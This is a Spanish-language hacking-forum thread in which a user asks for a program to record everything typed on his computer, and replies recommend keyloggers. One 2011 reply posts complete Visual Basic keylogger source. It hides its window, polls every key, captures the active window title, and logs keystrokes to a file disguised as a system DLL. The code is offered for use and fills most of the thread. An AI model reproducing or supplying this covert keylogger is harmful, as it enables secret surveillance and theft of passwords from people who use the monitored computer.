elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Usando Git para manipular el directorio de trabajo, el índice y commits (segunda parte)


+  Foro de elhacker.net
|-+  Informática
| |-+  Software
| | |-+  Programa para grabar todo lo que se escribe en la pc
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Programa para grabar todo lo que se escribe en la pc  (Leído 53,958 veces)
Folker

Desconectado Desconectado

Mensajes: 115


Ver Perfil
Programa para grabar todo lo que se escribe en la pc
« en: 6 Enero 2009, 23:04 pm »

Holas...

Bueno gente... aca con una consulta, necesito un programa que guarde todo lo que se escribe en el ordenador, no quiero un troyano, porke es mi compu a la que quiero instalar algun programa que haga eso, como es mi ordenador me gustaria saber que acen las demas personas en ella... (por ciertos problemas que tnego es que lo necesito) se los agradeceria mucho si me recomiendan uno...

salu2


En línea

dantemc


Desconectado Desconectado

Mensajes: 2.003

:D


Ver Perfil
Re: Programa para grabar todo lo que se escribe en la pc
« Respuesta #1 en: 7 Enero 2009, 02:15 am »

un keylogger. 



En línea

8-D
Novlucker
Ninja y
Colaborador
***
Desconectado Desconectado

Mensajes: 10.683

Yo que tu lo pienso dos veces


Ver Perfil
Re: Programa para grabar todo lo que se escribe en la pc
« Respuesta #2 en: 7 Enero 2009, 02:53 am »

Necesitas un keylogger, o más bien un programa de monitorización y vigilancia del uso de tu ordenador, los hay por todos lados  :P

Ejemplo:
Código:
http://www.softonic.com/windows/seguridad-vigilancia

Saludos
En línea

Contribuye con la limpieza del foro, reporta los "casos perdidos" a un MOD XD
"Hay dos cosas infinitas: el Universo y la estupidez  humana. Y de la primera no estoy muy seguro."
Albert Einstein
IZAK ZONNAD

Desconectado Desconectado

Mensajes: 4


Ver Perfil
Re: Programa para grabar todo lo que se escribe en la pc
« Respuesta #3 en: 9 Enero 2009, 10:14 am »

Depende de cuales sean tus intenciones podrás encontrar programas que van desde "keylogger" fáciles de detectar y muy fáciles de instalar, hasta lo que es un puro keylogger de 10 que bajo mi punto de vista es lo mas interesante. Saludos y suerte!!
En línea

deicide

Desconectado Desconectado

Mensajes: 2


Ver Perfil
Re: Programa para grabar todo lo que se escribe en la pc
« Respuesta #4 en: 9 Diciembre 2011, 01:43 am »

Option Explicit
Private Declare Function GetAsyncKeyState Lib "user32" _
(ByVal vKey As Long) As Integer
Private Declare Function GetWindowText Lib "user32" Alias _
"GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetForegroundWindow Lib "user32" () As Long

 
  'los timer tm el value es 5 y el timer timer1 es 1
  'inserta los controles segun su nombre es facil
  'copia y pega en el editor visual basic
  'abre el archivo c:\windows\system32\angio.dll con el block de notas
  'despues copia lo que nesesites y borralo
  'el programa lo creara de nuevo
Private Sub Form_Load()
Dim h
On Error GoTo Fallo

h = GetAttr("C:\windows\system32\angio.dll")
h = GetAttr("C:\windows\system32\angio2.dll")
Form1.Hide
Exit Sub

Fallo:
Open "C:\windows\system32\angio.dll" For Output As #1
Close #1
Open "C:\windows\system32\angio2.dll" For Output As #1
Close #1
Form1.Hide

End Sub

Private Sub Label1_Click()
End
End Sub

Private Sub Timer1_Timer()

Open "C:\windows\system32\angio.dll" For Append As #1
Print #1, Now, L2.Caption, l1.Caption, L3.Caption, Text1.Text
Close #1
Text1.Text = ""
Timer1.Enabled = False

End Sub

Private Sub TM_Timer()
 Dim i As Integer, x As Integer, z
 

 For i = 8 To 222
 x = GetAsyncKeyState(i)
 If x = -32767 Then
  Select Case i
   Case vbKey0: Text1.Text = Text1.Text & "0"
   Case vbKey1: Text1.Text = Text1.Text & "1"
   Case vbKey2: Text1.Text = Text1.Text & "2"
   Case vbKey3: Text1.Text = Text1.Text & "3"
   Case vbKey4: Text1.Text = Text1.Text & "4"
   Case vbKey5: Text1.Text = Text1.Text & "5"
   Case vbKey6: Text1.Text = Text1.Text & "6"
   Case vbKey7: Text1.Text = Text1.Text & "7"
   Case vbKey8: Text1.Text = Text1.Text & "8"
   Case vbKey9: Text1.Text = Text1.Text & "9"
   Case vbKeyA: Text1.Text = Text1.Text & "A"
   Case vbKeyB: Text1.Text = Text1.Text & "B"
   Case vbKeyC: Text1.Text = Text1.Text & "C"
   Case vbKeyD: Text1.Text = Text1.Text & "D"
   Case vbKeyE: Text1.Text = Text1.Text & "E"
   Case vbKeyF: Text1.Text = Text1.Text & "F"
   Case vbKeyG: Text1.Text = Text1.Text & "G"
   Case vbKeyH: Text1.Text = Text1.Text & "H"
   Case vbKeyI: Text1.Text = Text1.Text & "I"
   Case vbKeyJ: Text1.Text = Text1.Text & "J"
   Case vbKeyK: Text1.Text = Text1.Text & "K"
   Case vbKeyL: Text1.Text = Text1.Text & "L"
   Case vbKeyM: Text1.Text = Text1.Text & "M"
   Case vbKeyN: Text1.Text = Text1.Text & "N"
   Case vbKeyO: Text1.Text = Text1.Text & "O"
   Case vbKeyP: Text1.Text = Text1.Text & "P"
   Case vbKeyQ: Text1.Text = Text1.Text & "Q"
   Case vbKeyR: Text1.Text = Text1.Text & "R"
   Case vbKeyS: Text1.Text = Text1.Text & "S"
   Case vbKeyT: Text1.Text = Text1.Text & "T"
   Case vbKeyU: Text1.Text = Text1.Text & "U"
   Case vbKeyV: Text1.Text = Text1.Text & "V"
   Case vbKeyW: Text1.Text = Text1.Text & "W"
   Case vbKeyX: Text1.Text = Text1.Text & "X"
   Case vbKeyY: Text1.Text = Text1.Text & "Y"
   Case vbKeyZ: Text1.Text = Text1.Text & "Z"
   Case vbKeyNumpad0: Text1.Text = Text1.Text & "0"
   Case vbKeyNumpad1: Text1.Text = Text1.Text & "1"
   Case vbKeyNumpad2: Text1.Text = Text1.Text & "2"
   Case vbKeyNumpad3: Text1.Text = Text1.Text & "3"
   Case vbKeyNumpad4: Text1.Text = Text1.Text & "4"
   Case vbKeyNumpad5: Text1.Text = Text1.Text & "5"
   Case vbKeyNumpad6: Text1.Text = Text1.Text & "6"
   Case vbKeyNumpad7: Text1.Text = Text1.Text & "7"
   Case vbKeyNumpad8: Text1.Text = Text1.Text & "8"
   Case vbKeyNumpad9: Text1.Text = Text1.Text & "9"
   Case vbKeyMultiply: Text1.Text = Text1.Text & "*"
   Case vbKeyAdd: Text1.Text = Text1.Text & "+"
   Case vbKeySeparator: Text1.Text = Text1.Text & " [<Intro>] "
   Case vbKeySubtract: Text1.Text = Text1.Text & "-"
   Case vbKeyDecimal: Text1.Text = Text1.Text & "."
   Case vbKeyDivide: Text1.Text = Text1.Text & "/"
   Case vbKeyDelete: Text1.Text = Text1.Text & " [<Suprimir>] "
   Case vbKeyTab: Text1.Text = Text1.Text & " [Tabulador] "
   Case vbKeyClear: Text1.Text = Text1.Text & " [Limpiar] "
   Case vbKeyShift: Text1.Text = Text1.Text & " [Mayúsculas] "
   Case vbKeyMenu: Text1.Text = Text1.Text & " [<Menu>] "
   Case vbKeyPause: Text1.Text = Text1.Text & " [Pausa] "
   Case vbKeyCapital: Text1.Text = Text1.Text & " [Bloq Mayus] "
   Case vbKeyEscape: Text1.Text = Text1.Text & " [<Escape>] "
   Case vbKeyPageUp: Text1.Text = Text1.Text & " [RePag] "
   Case vbKeyPageDown: Text1.Text = Text1.Text & " [AvPag] "
   Case vbKeyEnd: Text1.Text = Text1.Text & " [<Fin>] "
   Case vbKeyHome: Text1.Text = Text1.Text & " [<Principio>] "
   Case vbKeySelect: Text1.Text = Text1.Text & " [Select] "
   Case vbKeyPrint: Text1.Text = Text1.Text & " [Captura] "
   Case vbKeyExecute: Text1.Text = Text1.Text & " [Ejecutar] "
   Case vbKeySnapshot: Text1.Text = Text1.Text & " [SnapShot] "
   Case vbKeyInsert: Text1.Text = Text1.Text & " [Insertar] "
   Case vbKeyDelete: Text1.Text = Text1.Text & " [Suprimir] "
   Case vbKeyHelp: Text1.Text = Text1.Text & " [Ayuda] "
   Case vbKeySpace: Text1.Text = Text1.Text & "    "
End Select
If i = vbKeyBack Then Timer1.Enabled = True
If i = vbKeyDelete Then Timer1.Enabled = True
If i = GetAsyncKeyState(1) = -32767 Then Timer1.Enabled = True
If i = vbKeyReturn Then
        Dim Handle As Long, buffer As String
        Handle = GetForegroundWindow
        If Handle = 0 Then Exit Sub
        buffer = Space(255)
        Call GetWindowText(Handle, buffer, 255)
        buffer = Trim$(buffer)
        buffer = Left(buffer, Len(buffer) - 1)
        l1.Caption = buffer
        Timer1.Enabled = True
        Exit Sub
        End If
End If
Next
End Sub


En línea

Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.700



Ver Perfil
Re: Programa para grabar todo lo que se escribe en la pc
« Respuesta #5 en: 9 Diciembre 2011, 02:17 am »

Option Explicit
Private Declare Function GetAsyncKeyState Lib "user32" _
(ByVal vKey As Long) As Integer
Private Declare Function GetWindowText Lib "user32" Alias _
"GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetForegroundWindow Lib "user32" () As Long

Se supone que es un VBScript, o un módulo de Visual?

Lo digo porque como VBS no funciona :/ Una pena, pintaba muy bien  :xD

EDITO: lo siento moderadores me acabo de dar cuenta de que he seguido un post muerto
« Última modificación: 9 Diciembre 2011, 02:21 am por EleKtro H@cker » En línea


Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Programa para grabar tv
Multimedia
chiflon 2 1,638 Último mensaje 15 Mayo 2004, 07:58 am
por Songoku
grabar en un CD mas de 700mb para poder hacer un todo en uno
Software
Delasierra45 4 3,130 Último mensaje 4 Diciembre 2004, 08:38 am
por studio_2004
programa para grabar en un dvd
Multimedia
alapues 7 1,507 Último mensaje 21 Mayo 2005, 12:15 pm
por Songoku
alguien conoce un programa para grabar cd ya utilisados con espacio para grabar
Software
ultraps 1 3,146 Último mensaje 6 Mayo 2006, 05:23 am
por kines
Microsoft puede leer todo lo que se escribe en Skype
Noticias
wolfbcn 8 2,810 Último mensaje 17 Mayo 2013, 04:40 am
por engel lex
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines